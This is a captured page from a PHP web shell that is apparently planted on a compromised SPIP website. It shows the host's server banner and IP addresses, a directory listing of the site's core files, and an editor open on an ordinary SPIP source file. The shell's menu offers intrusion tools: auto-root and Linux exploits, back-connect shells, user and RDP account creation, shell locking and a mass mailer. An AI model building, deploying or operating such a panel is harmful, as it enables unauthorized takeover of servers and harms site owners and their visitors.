Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bandeau.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ use Spip\Admin\Bouton; /** * Ce fichier gère le bandeau supérieur de l'espace privé * * @package SPIP\Core\Bandeau **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/boutons'); /** * Calcule le contexte pour le menu du bandeau * * La fonction tente de retrouver la rubrique et le secteur d'appartenance * à partir du nom du fichier exec, si celui ci correspond à un objet * éditorial de SPIP (et qu'il possède ces champs), et dans ce cas, * l'ajoute au contexte. * * @param null|array $contexte * contexte connu. * S'il n'est pas transmis, on prend `$_GET` * @return array * contexte **/ function definir_barre_contexte($contexte = null) { if (is_null($contexte)) { $contexte = $_GET; } elseif (is_string($contexte)) { $contexte = unserialize($contexte); } if (!isset($contexte['id_rubrique']) and isset($contexte['exec'])) { if (!function_exists('trouver_objet_exec')) { include_spip('inc/pipelines_ecrire'); } if ($e = trouver_objet_exec($contexte['exec'])) { $_id = $e['id_table_objet']; if (isset($contexte[$_id]) and $id = intval($contexte[$_id])) { $table = $e['table_objet_sql']; $row = sql_fetsel('*', $table, "$_id=" . intval($id)); if (isset($row['id_rubrique'])) { $contexte['id_rubrique'] = $row['id_rubrique']; if (isset($row['id_secteur'])) { $contexte['id_secteur'] = $row['id_secteur']; } } elseif (isset($row['id_groupe'])) { // TODO supprimer ce bloc quand https://core.spip.net/issues/3844 sera réalisé $contexte['id_groupe'] = $row['id_groupe']; } } } } return $contexte; } /** * Définir la liste des boutons du haut et de ses sous-menus * * On defini les boutons à mettre selon les droits de l'utilisateur * puis on balance le tout au pipeline "ajouter_menus" pour que des plugins * puissent y mettre leur grain de sel * * @param array $contexte * @param bool $icones Rechercher les icones * @param bool $autorise Ne renvoyer que les boutons autorisés * @return array */ function definir_barre_boutons($contexte = [], $icones = true, $autorise = true) { include_spip('inc/autoriser'); $boutons_admin = []; // les boutons du core, issus de ecrire/paquet.xml $liste_boutons = []; // ajouter les boutons issus des plugin via paquet.xml if ( function_exists('boutons_plugins') and is_array($liste_boutons_plugins = boutons_plugins()) ) { $liste_boutons = &$liste_boutons_plugins; } foreach ($liste_boutons as $id => $infos) { $parent = ''; // les boutons principaux ne sont pas soumis a autorisation if ( !isset($infos['parent']) or !($parent = $infos['parent']) or !$autorise or autoriser('menu', "_$id", 0, null, ['contexte' => $contexte]) ) { if ( $parent and $parent = preg_replace(',^bando_,', 'menu_', $parent) and isset($boutons_admin[$parent]) ) { $position = (isset($infos['position']) and strlen($infos['position'])) ? intval($infos['position']) : count($boutons_admin[$parent]->sousmenu); if ($position < 0) { $position = count($boutons_admin[$parent]->sousmenu) + 1 + $position; } $boutons_admin[$parent]->sousmenu = array_slice($boutons_admin[$parent]->sousmenu, 0, $position) + [ $id => new Bouton( ($icones and !empty($infos['icone'])) ? find_in_theme($infos['icone']) : '', // icone $infos['titre'], // titre (isset($infos['action']) and $infos['action']) ? $infos['action'] : null, (isset($infos['parametres']) and $infos['parametres']) ? $infos['parametres'] : null ) ] + array_slice($boutons_admin[$parent]->sousmenu, $position, 100); } if ( !$parent // provisoire, eviter les vieux boutons and (!in_array($id, ['forum', 'statistiques_visites'])) and (!$autorise or autoriser('menugrandeentree', "_$id", 0, null, ['contexte' => $contexte])) ) { $position = (isset($infos['position']) and $infos['position']) ? $infos['position'] : count($boutons_admin); $boutons_admin = array_slice($boutons_admin, 0, $position) + [ $id => new Bouton( ($icones and isset($infos['icone']) and $infos['icone']) ? find_in_theme($infos['icone']) : '', // icone $infos['titre'], // titre (isset($infos['action']) and $infos['action']) ? $infos['action'] : null, (isset($infos['parametres']) and $infos['parametres']) ? $infos['parametres'] : null ) ] + array_slice($boutons_admin, $position, 100); } } } $boutons_admin = pipeline('ajouter_menus', $boutons_admin); // définir les favoris et positions d’origine if ($boutons_admin) { $menus_favoris = obtenir_menus_favoris(); $i = 1; foreach ($boutons_admin as $key => $menu) { $menu->favori = (int) table_valeur($menus_favoris, $key, false); $menu->position = $i++; if ($menu->sousmenu) { $j = 1; foreach ($menu->sousmenu as $key => $bouton) { $bouton->favori = (int) table_valeur($menus_favoris, $key, false); $bouton->position = $j++; } } } } return $boutons_admin; } /** * Trie les entrées des sous menus par ordre alhabétique * * @param Bouton[] $menus * @param bool $avec_favoris * Si true, tri en premier les sous menus favoris, puis l'ordre alphabétique * @return Bouton[] */ function trier_boutons_enfants_par_alpha($menus, $avec_favoris = false) { foreach ($menus as $menu) { if ($menu->sousmenu) { $libelles = $isfavoris = $favoris = []; foreach ($menu->sousmenu as $key => $item) { $libelles[$key] = strtolower(translitteration(_T($item->libelle))); $isfavoris[$key] = (bool) $item->favori; $favoris[$key] = $item->favori; } if ($avec_favoris) { array_multisort($isfavoris, SORT_DESC, $favoris, SORT_ASC, $libelles, SORT_ASC, $menu->sousmenu); } else { array_multisort($libelles, SORT_ASC, $menu->sousmenu); } } } return $menus; } /** * Trie les entrées des sous menus par favoris (selon leur ordre) puis les autres par ordre alhabétique * * @uses trier_boutons_enfants_par_alpha() * @param Bouton[] $menus * @return Bouton[] */ function trier_boutons_enfants_par_favoris_alpha($menus) { return trier_boutons_enfants_par_alpha($menus, true); } /** * Créer l'URL à partir de exec et args, sauf si c'est déjà une url formatée * * @param string $url * @param string $args * @param array|null $contexte * @return string */ function bandeau_creer_url($url, $args = '', $contexte = null) { if (!preg_match(',[\/\?],', $url)) { $url = generer_url_ecrire($url, $args, true); // recuperer les parametres du contexte demande par l'url sous la forme // &truc=@machin@ // @machin@ etant remplace par _request('machin') $url = str_replace('&', '&', $url); while (preg_match(',[&?]([a-z_]+)=@([a-z_]+)@,i', $url, $matches)) { if ($matches[2] == 'id_secteur' and !isset($contexte['id_secteur']) and isset($contexte['id_rubrique'])) { $contexte['id_secteur'] = sql_getfetsel('id_secteur', 'spip_rubriques', 'id_rubrique=' . intval($contexte['id_rubrique'])); } $val = _request($matches[2], $contexte); $url = parametre_url($url, $matches[1], $val ?: '', '&'); } $url = str_replace('&', '&', $url); } return $url; } /** * Construire tout le bandeau supérieur de l'espace privé * * @return string * Code HTML du bandeau */ function inc_bandeau_dist() { return recuperer_fond('prive/squelettes/inclure/barre-nav', $_GET); } /** * Retourne la liste des noms d'entrées de menus favoris de l'auteur connecté * @return array */ function obtenir_menus_favoris() { if ( isset($GLOBALS['visiteur_session']['prefs']['menus_favoris']) and is_array($GLOBALS['visiteur_session']['prefs']['menus_favoris']) and $GLOBALS['visiteur_session']['prefs']['menus_favoris'] ) { return $GLOBALS['visiteur_session']['prefs']['menus_favoris']; } $definir_menus_favoris = charger_fonction('definir_menus_favoris', 'inc'); return $definir_menus_favoris(); }
Close